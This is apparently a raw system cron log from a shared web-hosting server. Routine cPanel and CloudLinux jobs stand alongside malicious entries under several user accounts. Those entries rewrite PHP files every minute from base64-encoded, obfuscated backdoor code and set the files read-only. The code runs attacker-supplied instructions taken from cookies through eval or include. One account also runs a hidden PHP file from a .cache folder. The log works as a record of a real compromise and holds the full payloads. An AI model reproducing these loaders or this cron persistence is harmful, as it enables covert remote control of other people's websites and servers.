Mar  1 20:34:02 medusa CROND[13623]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:34:02 medusa CROND[13624]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:34:02 medusa CROND[13632]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:34:02 medusa CROND[13634]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:34:02 medusa CROND[13633]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:34:02 medusa CROND[13635]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:34:02 medusa CROND[13636]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:34:02 medusa CROND[13630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:35:01 medusa CROND[30504]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  1 20:35:01 medusa CROND[30561]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 20:35:02 medusa CROND[30834]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:35:02 medusa CROND[30835]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 20:35:02 medusa CROND[30836]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 20:35:02 medusa CROND[30837]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 20:35:02 medusa CROND[30839]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 20:35:02 medusa CROND[30841]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 20:35:02 medusa CROND[30845]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 20:35:02 medusa CROND[30846]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:35:02 medusa CROND[30850]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:35:02 medusa CROND[30844]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 20:35:02 medusa CROND[30847]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 20:35:02 medusa CROND[30848]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 20:35:02 medusa CROND[30849]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:35:02 medusa CROND[30856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:35:02 medusa CROND[30865]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:35:02 medusa CROND[30866]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 20:35:02 medusa CROND[30869]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 20:35:02 medusa CROND[30872]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:35:02 medusa CROND[30873]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:35:02 medusa CROND[30876]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:35:02 medusa CROND[30877]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 20:35:02 medusa CROND[30887]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:35:02 medusa CROND[30892]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:36:02 medusa CROND[15412]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:36:02 medusa CROND[15413]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:36:02 medusa CROND[15414]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
